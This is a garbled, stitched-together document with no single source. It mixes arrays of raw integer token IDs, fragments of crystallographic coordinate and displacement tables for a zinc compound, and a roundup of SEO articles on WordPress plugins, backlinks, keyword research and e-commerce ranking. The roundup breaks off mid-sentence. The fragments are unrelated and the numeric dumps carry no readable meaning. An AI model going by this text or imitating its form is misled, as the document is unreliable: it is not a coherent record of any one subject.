36, 21, 50274, 17, 15, 20826, 26, 313, 883, 10, 50274, 17, 15, 1762, 1717, 313, 805, 10, 50274, 17, 15, 2941, 1449, 313, 740, 10, 50274, 2106, 17, 15, 45701, 313, 26, 10, 50273, 17, 15, 520, 1348, 313, 25, 10, 50273, 17, 15, 361, 2526, 313, 25, 10, 187, 50276, 36, 22, 50274, 17, 15, 21274, 26, 313, 805, 10, 50274, 17, 15, 18832, 18, 313, 740, 10, 50274, 17, 15 ]	258 (15) 0.0418 (4) H15 0.7471 0.7338 0.4242 0.050\* C16 0.5473 (2) 0.68971 (19) 0.35408 (16) 0.0478 (5) H16 0.5443 0.6338 0.2939 0.057\* C17 0.4306 (2) 0.71328 (19) 0.36542 (16) 0.0475 (5) H17 0.3474 0.6733 0.3131 0.057\* C18 0.43798 (18) 0.79707 (18) 0.45546 (15) 0.0410 (4) H18 0.3598 0.8147 0.4641 0.049\* C19 0.56275 (17) 0.85434 (15) 0.53254 (14) 0.0319 (4) C20 0.57917 (18) 0.94393 (15) 0.63252 (14) 0.0327 (4) C21 0.4710 (2) 0.97965 (18) 0.65380 (16) 0.0421 (4) H21 0.3831 0.9495 0.6042 0.050\* C22 0.4958 (2) 1.0608 (2) 0.74987 (18) 0.0533 (5) H22 0.4245 1.0858 0.7661 0.064\* C23 0.6265 (2) 1.1043 (2) 0.82138 (19) 0.0578 (6) H23 0.6450 1.1583 0.8870 0.069\* C24 0.7292 (2) 1.06703 (19) 0.79452 (16) 0.0498 (5) H24 0.8178 1.0976 0.8425 0.060\* C25 0.89081 (19) 0.77209 (16) 0.79160 (14) 0.0363 (4) C26 0.97304 (19) 0.72768 (16) 0.88630 (14) 0.0359 (4) C27 1.0903 (2) 0.68258 (19) 0.88947 (16) 0.0470 (5) H27 1.1207 0.6867 0.8366 0.056\* C28 1.1621 (2) 0.63166 (19) 0.97031 (17) 0.0501 (5) H28 1.2391 0.5997 0.9707 0.060\* C29 1.1194 (2) 0.62845 (18) 1.05020 (16) 0.0480 (5) H29 1.1679 0.5948 1.1050 0.058\* C30 1.00411 (19) 0.67535 (17) 1.04919 (14) 0.0406 (4) H30 0.9764 0.6733 1.1039 0.049\* C31 0.92915 (18) 0.72541 (15) 0.96747 (13) 0.0332 (4) C32 0.81105 (19) 0.78099 (16) 0.97435 (13) 0.0364 (4) C33 0.8325 (2) 0.90124 (19) 1.02957 (16) 0.0503 (5) H33 0.9165 0.9467 1.0534 0.060\* C34 0.7298 (3) 0.9532 (2) 1.04906 (19) 0.0693 (8) H34 0.7447 1.0338 1.0844 0.083\* C35 0.6045 (3) 0.8859 (3) 1.0162 (2) 0.0732 (8) H35 0.5368 0.9206 1.0316 0.088\* C36 0.5812 (3) 0.7675 (2) 0.9608 (2) 0.0614 (6) H36 0.4974 0.7223 0.9383 0.074\* C37 0.6829 (2) 0.71558 (19) 0.93839 (16) 0.0447 (5) C38 0.64762 (19) 0.58724 (19) 0.87503 (17) 0.0460 (5) N1 0.67766 (14) 0.83087 (13) 0.52131 (11) 0.0339 (3) N2 0.70656 (15) 0.98810 (13) 0.70158 (12) 0.0356 (3) O1 1.15618 (13) 0.88852 (13) 0.43496 (12) 0.0513 (4) O2 1.00560 (12) 0.94223 (11) 0.30197 (10) 0.0394 (3) O3 0.97207 (13) 0.81690 (13) 0.56208 (10) 0.0435 (3) O4 1.17363 (13) 0.91838 (13) 0.67693 (12) 0.0498 (4) H4A 1.1282 0.9697 0.6883 0.075\* O5 0.95305 (13) 0.84733 (13) 0.76743 (11) 0.0459 (3) O6 0.76884 (14) 0.73196 (13) 0.74187 (11) 0.0496 (4) O7 0.68307 (16) 0.55831 (13) 0.79382 (12) 0.0510 (4) H7 0.7080 0.6191 0.7820 0.076\* O8 0.58752 (17) 0.51275 (17) 0.89517 (14) 0.0684 (5) ----- --------------- --------------- --------------- -------------------- -- Atomic displacement parameters (Å^2^) {#tablewrapadps} ===================================== ----- -------------- -------------- -------------- --------------- -------------- -------------- U^11^ U^22^ U^33^ U^12^ U^13^ U^23^ Zn1 0.02564 (15) 0.03895 (15) 0.03585 (15) −0.00024 (10) 0.00903 (10) 0.01293 (10) C1 0.0297 (9) 0.0355 (9) 0.0371 (9) 0.0049 (7) 0.0174 (8) 0.0115 (7) C2 0.0310 (9) 0.0354 (9) 0.0337 (9) 0.0048 (7) 0.0176 (7) 0.0093 (7) C3 0.0361 (10) 0.0421 (10) 0.0343 (9) 0.0021 (8) 0.0152 (8) 0.0120 (8) C4 0.0379 (11) 0.0529 (12) 0.0340 (10) −0.0039 (9) 0.0124 (8) 0.0066 (8) C5 0.0459 (12) 0.0391 (10) 0.
[ 3290, 273, 634, 3186, 3948, 13757, 15, 380, 40534, 505, 30278, 15191, 7729, 28329, 281, 3630, 1805, 2600, 407, 970, 36408, 638, 17920, 326, 921, 752, 247, 1501, 326, 588, 320, 3863, 588, 1007, 751, 275, 634, 3186, 1543, 15, 831, 588, 1361, 368, 7617, 1880, 634, 4060, 310, 253, 1463, 2978, 390, 604, 634, 30680, 5740, 2789, 3282, 275, 253, 3634, 273, 253, 3186, 906, 15, 733, 671, 7729, 368, 342, 3239, 1783, 15, 22006, 13175, 12255, 1007, 323, 3888, 390, 2505, 275, 634, 1501, 326, 4428, 2770, 28731, 323, 326, 1501, 285, 12255, 281, 5416, 326, 597, 403, 1048, 2217, 15, 380, 767, 28437, 5678, 1056, 2119, 326, 368, 452, 253, 1511, 273, 2600, 326, 3186, 14917, 1089, 13, 1007, 387, 49148, 285, 1918, 368, 247, 2169, 19947, 347, 247, 906, 15, 14566, 841, 28437, 323, 634, 31198, 4422, 588, 564, 247, 1048, 1039, 281, 923, 281, 352, 326, 368, 403, 12724, 19947, 285, 4804, 253, 12656, 273, 8573, 4212, 275, 634, 25803, 15, 187, 187, 17664, 556, 4102, 13207, 281, 21854, 14248, 326, 452, 644, 27662, 18325, 15, 831, 512, 14, 249, 14, 531, 896, 4492, 285, 18536, 2505, 1783, 13, 896, 4492, 8570, 285, 8667, 4968, 7729, 368, 3297, 327, 1755, 273, 752, 5559, 310, 2509, 281, 1978, 2806, 33054, 5609, 285, 28960, 745, 273, 253, 8573, 15, 831, 2670, 588, 1361, 368, 342, 667, 689, 13757, 3374, 326, 368, 1537, 452, 15, 380, 5386, 2802, 358, 4968, 310, 908, 281, 4271, 18536, 2505, 9991, 1561, 634, 2670, 15, 1310, 368, 403, 387, 2495, 323, 18536, 2505, 689, 13757, 13, 970, 436, 2670, 588, 2624, 896, 327, 326, 407, 11922, 896, 23053, 326, 403, 970, 2173, 18536, 17438, 326, 403, 8479, 5559, 281, 7908, 634, 4422, 15, 380, 1881, 14, 2135, 4492, 8570, 4968, 14935, 368, 476, 6016, 954, 273, 253, 32140, 4834, 13, 407, 1146, 2104, 281, 12106, 634, 896, 23053, 13, 562, 45017, 281, 4384, 6681, 1336, 285, 13474, 272, 253, 1543, 275, 45584, 830, 15, 380, 20910, 323, 436, 3694, 310, 370, 21361, 323, 247, 12702, 2395, 13, 370, 1525, 591, 1770, 323, 581, 2670, 13, 285, 370, 25, 1525, 247, 1770, 323, 271, 6757, 21729, 970, 689, 3578, 14248, 15, 187, 187, 1552, 3929, 327, 3491, 22934, 15, 681, 310, 512, 670, 4758, 598, 247, 31198, 2670, 326, 588, 755, 368, 8344, 407, 512, 273, 253, 3909, 3186, 14917, 15, 733, 4566, 715, 2508, 670, 849, 28731, 403, 15726, 407, 5559, 846, 616, 42151, 19014, 285, 268, 7447, 11269, 15, 3932, 253, 11269, 13, 627, 403, 642, 3356, 667, 5373, 281, 816, 46023, 28731, 715, 634, 7774, 390, 24960, 15, 733, 12088, 670, 849, 281, 1056, 4217, 2600, 323, 952, 13, 347, 10066, 281, 3186, 14917, 13, 534, 588, 452, 731, 14707, 281, 3297, 327, 634, 2670, 3356, 285, 1014, 1705, 896, 281, 352, 1996, 15, 831, 310, 1633, 326, 13, 417, 760, 323, 31198, 4212, 13, 533, 1046, 4384, 11717, 476, 5649, 15, 14736, 3948, 13757, 310, 247, 5859, 326, 672, 908, 6283, 476, 1056, 5699, 16274, 327, 253, 23114, 273, 634, 4422, 15, 1198, 1110, 6110, 275, 4715, 849, 281, 873, 598, 271, 30278, 14, 19771, 31198, 1293, 20252, 247, 5702, 13, 436, 3929, 310, 7964, 4409, 253, 1239, 15, 187, 187, 23021, 28094, 7447, 556, 271, 7126, 3929, 27855, 281, 3186, 3948, 13757, 18879, 13, 773, 2354, 48, 24866, 432, 42801, 1903, 38857, 15435, 16638, 32560, 15, 831, 3929, 12088, 670, 849, 281, 897, 5559, 2006, 40779, 23473, 4968, 281, 6635, 747, 28731, 285, 3630, 9319, 342, 2600, 326, 6780, 253, 954, 3261, 598, 12989, 15, 3900, 436, 651, 1646, 751, 247, 2969, 2181, 281, 513, 13, 39670, 290, 1022, 752, 7637, 598, 9369, 310, 326, 952, 3772, 366, 616, 28731, 3185, 273, 3192, 253, 673, 281, 2486, 23357, 3000, 390, 25491, 326, 403, 16293, 281, 755, 6849, 15, 38733, 436, 13542, 310, 753, 281, 320, 2104, 281, 1756, 634, 1859, 4249, 407, 247, 1534, 8459, 15, 380, 2488, 4245, 271, 1650, 273, 247, 2136, 7302, 665, 9716, 253, 12616, 346, 41, 8912, 9673, 270, 25864, 8364, 3, 323, 816, 762, 370, 26, 13, 574, 247, 8406, 1705, 598, 342, 253, 2600, 323, 370, 2313, 285, 9142, 1160, 6763, 273, 8918, 275, 6224, 1475, 326, 2014, 1885, 15, 1876, 344, 574, 281, 513, 369, 1089, 562, 752, 28731, 651, 320, 253, 954, 27834, 323, 779, 15, 187, 187, 1552, 30278, 3491, 310, 625, 685, 816, 670, 1907, 28731, 285, 2970, 13052, 390, 851, 664, 1507, 15, 380, 4736, 273, 436, 8406, 310, 281, 755, 368, 281, 2096, 326, 253, 954, 1774, 629, 273, 21896, 1859, 4249, 275, 271, 3909, 4758, 13, 310, 281, 1705, 562, 342, 11485, 1175, 2600, 15, 1500, 24631, 253, 6349, 273, 6240, 1318, 281, 253, 9414, 273, 634, 7774, 13, 534, 476, 320, 2218, 407, 1907, 271, 21383, 3640, 273, 634, 9400, 15, 1310, 368, 513, 417, 452, 1270, 3640, 327, 253, 9400, 281, 320, 5469, 840, 2561, 588, 320, 247, 1364, 15, 1500, 671, 24631, 1907, 247, 4451, 285, 5352, 1379, 390, 8668, 327, 1841, 1128, 3088, 417, 816, 810, 3922, 17255, 1633, 326, 11648, 2010, 556, 2168, 753, 15, 3900, 954, 273, 436, 3929, 556, 1077, 1652, 281, 513, 342, 3186, 3948, 13757, 13, 627, 310, 581, 2170, 273, 352, 326, 703, 24631, 1128, 3529, 310, 253, 4060, 15, 1500, 7211, 326, 5096, 2558, 273, 253, 952, 665, 588, 1705, 2439, 271, 3929, 588, 417, 1014, 1056, 352, 2469, 253, 4060, 13, 2403, 253, 4060, 273, 634, 1501, 9084, 595, 1774, 15, 15594, 13, 436, 1501, 2506, 626, 1663, 2312, 670, 30278, 13, 533, 4536, 359, 878, 281, 320, 17328, 273, 2969, 1841, 751, 841, 281, 3297, 327, 1755, 273, 776, 2165, 15, 187, 187, 1552, 310, 247, 1175, 3929, 432, 8223, 15, 681, 27321, 849, 281, 4541, 6351, 8981, 407, 3186, 14917, 15, 14736, 14917, 403, 11658, 407, 11333, 28, 841, 11333, 403, 8127, 39460, 407, 849, 952, 403, 18745, 342, 4375, 327, 253, 4384, 15, 1310, 11853, 4453, 1633, 598, 327, 10550, 13, 352, 310, 2779, 326, 597, 588, 3135, 6523, 16557, 323, 326, 1885, 327, 2067, 643, 7223, 15, 380, 2488, 4648, 326, 958, 281, 1056, 253, 1127, 326, 13, 1146, 2326, 407, 5559, 434, 11333, 310, 9648, 3477, 594, 581, 943, 417, 4073, 1512, 1199, 670, 752, 310, 2424, 273, 3297, 6386, 15, 7820, 13, 752, 368, 943, 320, 8133, 954, 273, 634, 3434, 715, 310, 253, 952, 665, 588, 320, 4560, 634, 2600, 15, 754, 2296, 326, 760, 1884, 281, 2456, 2558, 273, 634, 2670, 434, 7137, 943, 320, 3551, 432, 3186, 13, 253, 1551, 273, 352, 943, 320, 432, 952, 665, 10879, 634, 2670, 984, 273, 253, 1318, 352, 11323, 281, 616, 4852, 15, 187, 187, 2354, 48, 310, 417, 816, 1633, 326, 310, 2218, 745, 253, 39020, 1128, 9088, 3198, 281, 320, 247, 2098, 9009, 326, 368, 588, 956, 15, 38733, 436, 11359, 368, 327, 3540, 347, 973, 347, 7729, 368, 281, 923, 835, 368, 403, 3576, 285, 835, 368, 878, 281, 3157, 15, 16527, 91, 2123, 316, 310, 417, 816, 247, 3694, 2567, 13, 15435, 16638, 32560, 671, 16681, 30278, 12192, 285, 24866, 323, 37735, 285, 3694, 4413, 15, 187, 187, 10287, 992, 280, 30278, 323, 11075, 8777, 15, 831, 3929, 310, 670, 253, 5700, 3206, 275, 3186, 3948, 13757, 275, 20500, 4413, 15, 5595, 30278, 22591, 41714, 562, 253, 21041, 273, 39793, 323, 3909, 3186, 14917, 13, 533, 436, 3929, 11424, 253, 3064, 875, 326, 285, 1907, 247, 5700, 273, 672, 285, 835, 281, 2126, 253, 21041, 326, 403, 3206, 275, 3186, 3948, 13757, 15, 380, 2488, 4566, 715, 4278, 13, 387, 1270, 2978, 13, 670, 849, 285, 2139, 30278, 310, 1027, 323, 37735, 685, 352, 310, 323, 2168, 4232, 4375, 326, 452, 5312, 7137, 3551, 715, 731, 15, 754, 671, 36264, 690, 273, 253, 5373, 273, 1146, 247, 20500, 30278, 15, 3032, 5352, 1379, 13, 347, 973, 347, 521, 9470, 3640, 327, 253, 2256, 1056, 436, 271, 7126, 285, 27096, 1239, 323, 1110, 6110, 275, 25251, 390, 43124, 616, 20500, 15, 187, 187, 2354, 48, 323, 9107, 32705, 15, 831, 3929, 310, 48526, 4404, 3186, 3948, 13757, 323, 3694, 4413, 15, 15435, 16638, 32560, 310, 581, 273, 253, 954, 973, 22694, 15547, 275, 253, 1673, 273, 3186, 3948, 13757, 285, 275, 436, 3929, 344, 4245, 38089, 7535, 281, 3694, 4413, 11762, 15, 754, 556, 7478, 326, 581, 273, 253, 2014, 6459, 3237, 310, 326, 4413, 403, 417, 4933, 616, 4422, 253, 1072, 1511, 273, 4116, 326, 597, 403, 4933, 616, 3694, 15, 38733, 436, 2297, 684, 512, 273, 253, 1270, 1841, 326, 634, 3694, 476, 513, 323, 952, 13, 3365, 984, 352, 310, 417, 1146, 2326, 407, 13893, 8548, 15, 6975, 667, 1175, 1895, 47037, 13, 846, 16638, 32560, 22649, 253, 1895, 344, 12453, 849, 281, 8415, 352, 15, 30278, 323, 9107, 32705, 310, 247, 1364, 14, 1088, 323, 667, 2567, 1128, 1439, 816, 3694, 4413, 1907, 12748, 342, 2970, 2326, 3909, 15, 187, 187, 46565, 19399, 844, 37722, 12088, 670, 14736, 10797, 12551, 27996, 285, 6131, 2067, 12192, 327, 849, 281, 320, 5547, 387, 352, 15, 380, 2201, 3064, 875, 521, 3929, 285, 690, 273, 253, 643, 4394, 359, 452, 3786, 5469, 310, 326, 344, 4566, 973, 4457, 5044, 30278, 15, 754, 4245, 247, 12861, 8668, 285, 9437, 281, 2953, 1774, 3374, 1223, 9159, 247, 2900, 281, 1110, 3374, 15, 496, 521, 13418, 13, 6024, 4859, 390, 313, 29016, 10, 2505, 310, 253, 954, 1774, 2803, 275, 1146, 2326, 407, 5559, 15, 754, 6131, 1491, 327, 849, 281, 16270, 1029, 14, 15177, 18536, 2505, 13, 285, 671, 5936, 1529, 35604, 784, 5700, 15, 3032, 12494, 327, 849, 281, 16584, 5261, 18145, 310, 247, 4451, 1039, 281, 755, 6386, 273, 634, 7324, 15, 844, 37722, 6131, 670, 1458, 390, 1668, 625, 9371, 12192, 281, 4384, 6681, 1336, 327, 253, 9400, 273, 3186, 3948, 13757, 15, 831, 310, 2568, 1529, 8521, 3929, 323, 3780, 14707, 281, 16463, 598, 327, 616, 30278, 6936, 15, 187, 187, 1552, 5311, 432, 10135, 45037, 15, 681, 12088, 670, 299, 14, 32248, 3186, 3948, 13757, 15, 25299, 272, 2169, 685, 634, 7324, 1057, 327, 3186, 14917, 310, 1900, 247, 1364, 13, 533, 627, 778, 417, 320, 247, 1659, 3909, 835, 352, 310, 625, 1774, 685, 275, 299, 14, 32248, 15, 19296, 670, 352, 13, 604, 368, 5559, 40864, 12682, 368, 403, 3164, 1469, 323, 253, 806, 13, 5046, 253, 1273, 3048, 368, 923, 15, 1310, 634, 1885, 3548, 626, 581, 273, 253, 1077, 806, 32773, 598, 672, 12203, 323, 1633, 840, 368, 2779, 1912, 626, 755, 667, 2136, 15, 831, 3929, 6131, 3186, 3948, 13757, 12192, 323, 43240, 13, 10444, 13, 285, 1014, 6485, 4384, 6681, 1336, 281, 1691, 281, 897, 15, 380, 2488, 3054, 326, 253, 2201, 2234, 281, 1146, 17045, 4122, 323, 299, 14, 32248, 310, 281, 2561, 253, 954, 3576, 28731, 323, 634, 1885, 285, 281, 45661, 28731, 323, 5311, 12989, 15, 733, 4566, 715, 2508, 281, 921, 368, 849, 281, 513, 436, 275, 253, 3929, 15, 28218, 907, 253, 12192, 275, 436, 7102, 281, 1056, 2119, 326, 368, 403, 46875, 253, 2442, 273, 634, 3909, 4657, 15, 187, 187, 1773, 1586, 272, 12085, 3186, 3948, 13757, 3820, 953, 310, 4217, 323, 1046, 1268, 4384, 11717, 15, 35116, 30278, 3820, 953, 588, 1361, 368, 6558, 271, 5024, 689, 512, 1110, 275, 634, 4491, 665, 403, 417, 14596, 598, 14, 936, 14, 2754, 342, 616, 1211, 13757, 285, 253, 2455, 6890, 11333, 2424, 323, 30278, 15, 380, 2488, 273, 436, 3929, 41714, 562, 2620, 2969, 5018, 326, 247, 4384, 11717, 943, 1347, 275, 1340, 281, 2589, 247, 3367, 12085, 30278, 1783, 15, 187, 187, 11796, 280, 4187, 22894, 42226, 27, 31293, 253, 22894, 42226, 1078, 368, 513, 2712, 588, 1581, 368, 281, 40637, 752, 368, 878, 281, 513, 281, 2525, 253, 3198, 273, 634, 22894, 13, 891, 15, 70, 15, 752, 25491, 597, 403, 2819, 598, 281, 1089, 368, 15, 187, 187, 11540, 1419, 2234, 21607, 27, 1422, 1900, 971, 281, 871, 665, 634, 8642, 21607, 403, 13, 752, 597, 403, 2509, 285, 849, 597, 403, 2970, 616, 7137, 15, 38733, 436, 943, 1581, 368, 281, 15639, 387, 247, 2169, 1268, 685, 597, 403, 15, 187, 187, 29795, 410, 752, 253, 7324, 4453, 751, 27, 831, 310, 2074, 281, 253, 1840, 5018, 15, 1422, 971, 281 ]	quality of your search engine optimization. The Yoast SEO plugin helps publishers to write better content by using snippet previews that show what a post that will be published will look like in your search results. This will help you decide whether your title is the proper length or if your Meta description makes sense in the context of the search result. It also helps you with page analysis. Constant functionality checks look for images or text in your post that contains focus keywords for that post and checks to ensure that they are long enough. The two plugins combined make sure that you have the type of content that search engines find, look at favorably and give you a higher ranking as a result. Having these plugins for your WordPress website will go a long way to see to it that you are consistently ranking and meeting the expectations of internet users in your niche. Google has recently begun to punish websites that have been overly optimized. This all-in-one backlink and anchor text analysis, backlink removal and monitoring tool helps you stay on top of what Google is doing to keep black hats techniques and promoters off of the internet. This site will help you with any over optimization issues that you might have. The remove ‘em tool is used to identify anchor text diversity within your site. If you are at risk for anchor text over optimization, using this site will cut back on that by removing backlinks that are using specific anchor texts that are causing Google to flag your website. The self-backlink removal tool lets you can handle most of the workload yourself, by being able to analyze your backlinks, outreaching to webmasters and exporting the results in CSV form. The pricing for this software is $249 for a lifetime account, $99 per month for one site, and $899 a month for an agency subscription using over ten websites. This article on copyblogger.com is all about setting up a WordPress site that will get you noticed by all of the online search engines. It goes into detail about how keywords are handled by Google after their penguin and panda updates. Since the updates, there are no longer any benefits to just dumping keywords into your articles or blogs. It talks about how to make useful content for people, as opposed to search engines, which will have them wanting to stay on your site longer and even come back to it later. This is something that, not only for WordPress users, but every webmaster can benefit. Search engine optimization is a science that when used properly can make huge impacts on the visibility of your website. For those interested in learning how to set up an SEO-friendly WordPress without hiring a professional, this article is definitely worth the read. Melmranda has an excellent article pertaining to search engine optimization titled, “SEO tricks from patio 11 aka Patrick McKenzie. This article talks about how to use Google AdWords keyword tool to generate new keywords and write posts with content that highlight the most looked up topics. While this would seem like a simple thing to do, oftentimes what ends up happening is that people automate their keywords instead of taking the time to include buzz words or phrases that are guaranteed to get views. Doing this manually is said to be able to grow your viewership by a significant margin. The author gives an example of a business owner who purchased the phrase "Halloween bingo cards" for just under $9, had a writer come up with the content for $100 and ultimately made thousands of dollars in sales around that single product. All he had to do was find out what keywords would be the most profitable for him. This SEO copy is more than just about having keywords and getting likes or retweets. The goal of this writer is to get you to understand that the most important part of gaining viewership in an online setting, is to come out with constantly good content. She stresses the importance of adding value to the reader of your articles, which can be done by having an intimate knowledge of your topic. If you do not have great knowledge on the topic to be discussed then research will be a must. She also stresses having a unique and fresh take or perspective on things—do not just regurgitate something that everybody else has already said. While most of this article has very little to do with search engine optimization, there is one area of it that she stresses—that is the title. She notes that 80 percent of the people who will come across an article will not even make it past the title, making the title of your post vitally important. Sure, this post doesn't really talk about SEO, but sometimes we need to be reminded of simple things like these to stay on top of our game. This is a good article from segment.com highlighting how to quickly gain recognition by search engines. Search engines are operated by algorithms; these algorithms are largely dictated by how people are interacting with sites on the web. If somebody looks something up on Amazon, it is likely that they will begin seeing ads for that product on several other pages. The author uses that fact to make the point that, being seen by Google's algorithms is fairly easy so one should not stress too much about what is required of stay ahead. Instead, what you should be putting most of your effort into is the people who will be finding your content. He says that only 30 to 50 percent of your site's traffic should be coming from search, the rest of it should be from people who frequent your site because of the value it adds to their lives. SEO is not just something that is done off the cuff—there needs to be a plan implemented that you will follow. Doing this keeps you on track as well as helps you to see where you are effective and where you need to improve. Kalzumeus is not just a software company, Patrick McKenzie also highlights SEO tips and tricks for startups and software companies. Strategic SEO for Startups. This article is about the strategy involved in search engine optimization in startup companies. Most SEO guides lays out the tactics of optimizing for online search engines, but this article explains the difference between that and having a strategy of when and where to employ the tactics that are involved in search engine optimization. The author goes into details, at great length, about how and why SEO is different for startups than it is for already established sites that have daily traffic coming into them. He also outlines some of the benefits of being a startup SEO. His fresh take, as well as his extensive knowledge on the subject make this an excellent and informative read for those interested in launching or boosting their startup. SEO for Software Companies. This article is geared towards search engine optimization for software companies. Patrick McKenzie is one of the most well respected voices in the field of search engine optimization and in this article he gives invaluable advice to software companies worldwide. He has recognized that one of the single greatest problems is that companies are not giving their website the same type of attention that they are giving their software. Doing this negates all of the great things that your software can do for people, simply because it is not being seen by prospective clients. Like any good problem solver, after McKenzie identifies the problem he addresses how to solve it. SEO for Software Companies is a must-read for any company—not just software companies having difficulties with getting seen online. Gabriel Weinberg talks about Search Engine Optimization and offers several tips on how to be successful at it. The major difference between his article and some of the other ones we have previously discussed is that he goes well beyond basic SEO. He gives a deeper perspective and attempts to address important issues while offering a solution to those issues. In his estimation, external links or (anchor) text is the most important factor in being seen by Google. He offers information on how to acquire high-quality anchor text, and also suggests another ingenious strategy. His paragraph on how to utilize widgets is a unique way to get ahead of your competition. Weinberg offers about 15 or 16 more helpful tips to webmasters on the topic of search engine optimization. This is yet another recommended article for anyone wanting to brush up on their SEO skills. This blog from kissmetrics.com talks about e-commerce search engine optimization. Ranking higher than your competition does on search engines is always a must, but there may not be a place online where it is more important than in e-commerce. Think about it, if you Google Nike shoes you are probably going for the first, maybe the second link you see. If your product isn't one of the very first popped up when searching for something then you likely won't get any business. This article offers search engine optimization tips for beginner, intermediate, and even expert webmasters to put to use. The author states that the major key to being ranked highly for e-commerce is to research the most effective keywords for your product and to pinpoint keywords for blog topics. It goes into detail to show you how to do this in the article. Utilize the tips in this guide to make sure that you are maximizing the potential of your online store. Conducting competitive search engine optimization audits is useful for every level webmaster. Regular SEO audits will help you maintain an edge over all those in your industry who are not staying up-to-date with their own optimization and the ever changing algorithms required for SEO. The author of this article lays out five simple steps that a webmaster should perform in order to conduct a personal competitive SEO analysis. Articulate buyer personas: Understanding the buyer personas before you do anything will allow you to tailor what you need to do to meet the needs of your buyer, i.e. what phrases they are looking up to find you. Identify key competitors: You always want to know who your closest competitors are, what they are doing and how they are getting their traffic. Doing this should allow you to compete at a higher level than they are. Explore what the competition looks like: This is similar to the above steps. You want to
[ 671, 3657, 894, 40472, 1877, 13, 534, 310, 247, 2234, 1232, 323, 3811, 16711, 1690, 253, 1966, 2133, 15, 187, 46928, 187, 50023, 27, 187, 2413, 1358, 2809, 9321, 21, 8243, 366, 15, 681, 187, 22032, 1608, 9321, 21, 18681, 366, 27069, 27, 187, 2413, 1358, 2809, 9321, 21, 8243, 366, 15, 681, 16, 9903, 366, 187, 39392, 14344, 38399, 51, 595, 27, 187, 3614, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 82, 26, 57, 19, 59, 26646, 26, 7258, 54, 187, 25116, 27, 187, 3614, 1358, 2700, 15, 24557, 15, 681, 16, 6156, 15, 1200, 9321, 15, 333, 90, 324, 40172, 187, 31068, 27, 187, 3614, 1358, 16705, 15, 681, 16, 6156, 64, 1200, 9321, 187, 46928, 187, 187, 7475, 17859, 7321, 2739, 310, 10145, 273, 5434, 4087, 281, 3184, 342, 3753, 15, 7850, 2442, 4016, 1786, 2538, 403, 2403, 7422, 1379, 5018, 15, 329, 7482, 1569, 9262, 281, 253, 7247, 16005, 14993, 281, 16209, 14232, 598, 281, 6424, 14079, 281, 18014, 273, 24663, 14, 25016, 16711, 19632, 281, 1786, 390, 253, 3126, 15, 9233, 434, 444, 3892, 367, 1886, 43772, 5012, 15, 187, 4708, 418, 11477, 2413, 1358, 1378, 15, 681, 16, 251, 14, 1094, 187, 35638, 281, 9233, 2, 3944, 1358, 2700, 15, 24583, 15, 681, 16, 2377, 13705, 64, 9229, 32, 1911, 64, 4537, 30, 37881, 14569, 187, 9817, 441, 327, 6745, 3944, 1358, 2700, 15, 24557, 15, 681, 16, 4708, 13608, 187, 18905, 441, 327, 7879, 3944, 1358, 16705, 15, 681, 16, 4708, 64, 681, 187, 18905, 441, 327, 19614, 3944, 1358, 6839, 12068, 15, 681, 16, 1378, 187, 18905, 441, 327, 5559, 12, 3944, 1358, 11095, 15, 9906, 15, 681, 23615, 4708, 187, 4708, 313, 37881, 11056, 10, 310, 247, 4156, 3668, 2990, 32380, 432, 16496, 285, 5041, 34713, 15, 9233, 310, 253, 806, 3668, 5048, 281, 2740, 253, 337, 6494, 15167, 6849, 22791, 15, 187, 187, 28531, 28026, 27, 443, 6329, 17830, 14, 27678, 1299, 313, 4708, 15027, 552, 10, 187, 187, 1145, 5998, 26711, 13, 933, 5396, 14768, 452, 7730, 13184, 275, 1384, 1107, 15, 15023, 21976, 908, 281, 320, 253, 2586, 457, 84, 5054, 27882, 13, 533, 1024, 9891, 11182, 281, 1056, 1014, 247, 479, 3800, 11528, 285, 277, 2924, 275, 6735, 15, 1198, 690, 13, 253, 3473, 310, 1512, 1199, 15, 6676, 13387, 443, 6329, 17649, 323, 253, 11741, 21976, 13, 1907, 944, 25466, 253, 2791, 285, 7932, 8708, 19492, 28, 597, 452, 4242, 281, 3153, 598, 281, 12656, 15, 187, 4708, 418, 11477, 2413, 1358, 1378, 15, 681, 16, 251, 14, 1094, 187, 35638, 281, 9233, 2, 3944, 1358, 2700, 15, 24583, 15, 681, 16, 2377, 13705, 64, 9229, 32, 1911, 64, 4537, 30, 37881, 14569, 187, 9817, 441, 327, 6745, 3944, 1358, 2700, 15, 24557, 15, 681, 16, 4708, 13608, 187, 18905, 441, 327, 7879, 3944, 1358, 16705, 15, 681, 16, 4708, 64, 681, 187, 18905, 441, 327, 19614, 3944, 1358, 6839, 12068, 15, 681, 16, 1378, 187, 18905, 441, 327, 5559, 12, 3944, 1358, 11095, 15, 9906, 15, 681, 23615, 4708, 187, 19577, 281, 441, 327, 18874, 18534, 27, 5987, 1358, 27962, 18534, 15, 681, 16, 1378, 18698, 187, 4708, 313, 37881, 11056, 10, 310, 247, 4156, 3668, 2990, 32380, 432, 16496, 285, 5041, 34713, 15, 9233, 310, 253, 806, 3668, 5048, 281, 2740, 253, 337, 6494, 15167, 6849, 22791, 15, 187, 187, 18913, 434, 747, 2746, 281, 443, 6329, 84, 187, 187, 12486, 4272, 689, 443, 6329, 84, 428, 403, 597, 247, 4322, 390, 271, 5107, 32, 428, 253, 8215, 556, 1024, 1119, 247, 1039, 3579, 15, 187, 19174, 327, 27, 187, 17664, 559, 3944, 1358, 24290, 6434, 15, 681, 16, 263, 73, 1525, 84, 23, 187, 25116, 3944, 1358, 2700, 15, 24557, 15, 681, 16, 70, 2737, 266, 1148, 8782, 187, 31068, 5987, 1358, 16705, 15, 681, 16, 47678, 1148, 77, 64, 1400, 187, 47678, 1148, 77, 12101, 3492, 5417, 27, 818, 1857, 3583, 69, 1257, 14, 23, 71, 2125, 14, 21, 69, 25, 69, 14, 25, 67, 24, 67, 14, 66, 3357, 66, 361, 67, 2320, 68, 1797, 187, 187, 46, 11533, 28204, 15844, 21849, 1042, 367, 4290, 38, 2293, 22280, 13, 378, 27224, 1410, 2949, 1267, 5626, 1703, 27227, 38022, 4889, 7500, 47774, 2413, 1358, 2700, 15, 12496, 16668, 84, 740, 15, 3024, 16, 84, 2562, 328, 64, 2203, 16, 20034, 16, 18256, 507, 16, 1962, 6917, 40451, 16, 13608, 15, 5581, 32, 82, 30, 805, 1036, 1010, 3680, 1549, 13, 187, 19805, 378, 21273, 5987, 1358, 1962, 6917, 40451, 609, 14785, 8519, 15, 1200, 12216, 16247, 15, 681, 16, 187, 1843, 13754, 329, 8610, 10634, 8681, 8702, 4392, 15130, 